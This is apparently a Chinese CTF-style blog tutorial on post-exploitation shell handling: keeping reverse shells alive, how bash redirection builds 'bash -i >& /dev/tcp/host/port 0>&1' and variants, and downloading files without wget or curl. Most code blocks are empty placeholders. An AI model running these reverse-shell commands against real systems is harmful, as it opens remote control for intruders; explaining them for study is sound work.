0x00 前言
一般拿到shell之后能干什么?当然是反弹shell,然后进行一波扫操作了!但是你做题的时候,是否会遇到没有反弹shell的指令或者shell本身时长有限制,连上一会就断了!
0x01 shell
首先还是得讲反弹shell和正向连接shell
前面的这篇文章有了很好的讲解
0x02 延时操作
若是你上面的操作都不可实现,那么不妨尝试利用下面的指令
timeout指令
|
|
timeout是linux上常见指令,当你想长时间连上shell不断开的话,不妨使用此命令。
sleep指令
|
|
set指令
|
|
0x03 重定向
|
|
|
|
">\&"操作符的含义:
- 在“>&word”语法中,当word不是数字或“-”字符时,“>&”表示标准输出和标准错误重定向到文件,此时与操作符“&>”功能一样。
- 在“>&word”语法中,当word是数字或“-”字符时,操作符“>&”表示复制输出文件描述符
- ">word" 当word为1的时候,
- “word<” 当word为0,代表后面的输出转为输入;当word为1或2时,其实含义与">1"或">2"一致
仅有代码”bash -i”时输入输出状态
|
|
命令“>& /dev/tcp/host/port”是对标准输出和标准错误的重定向,此时的输入输出状态
|
|
因此执行命令“bash -i >& /dev/tcp/host/port”时将标准输出和标准错误进行了重定向,使标准输出和标准错误指向socket连接文件,标准输入指向原有shell不变。
使用命令“bash -i >& /dev/tcp/host/port”还不能反弹shell,因为此时的输入还是指向shell,此时会出现在被控端(执行反弹shell命令的终端)执行命令,在控制端(监听端口的终端)回显得现象。
命令“0>&1”是对文件描述符的拷贝,是将0[标准输入]重定向到了1[标准输出]指向的位置,此时1[标准输出]指向的是socket连接文件,重定向完成后,0[标准输入]也指向了socket连接文件,状态如下
在状态B时,2[标准错误]指向的也是socket连接文件,因此命令”0>&2”与“0>&1”执行完后结果是一样的,所以反弹shell命令可以写成“bash -i >& /dev/tcp/host/port 0>&2”
|
|
命令”bash -i 5\<>/dev/tcp/host/port 0>&5 1>&5”也可以反弹shell
说明:\<>代表的是输入输出
|
|
其他参考文档
https://www.gnu.org/software/bash/manual/html_node/Redirections.html
0x04 下载文件
一般linux上或多或少会支持一些命令wget、curl等,当这些命令存在时就可以完成文件的下载。
但是特殊情况下是这些命令都不存在。下面讲一讲其他办法:
nc
|
|
python
|
|
perl
一般的虚拟机上都会有
|
ruby
|
java
|
Lua
|
Bash
上面重定向讲得十分透彻,所以这儿就可以快速写出对应的bash脚本了(最终屈服了,没写出来,仍然用的反弹的shell)
|
|
|
|
也即:
|
|
$hex2str 313233
123$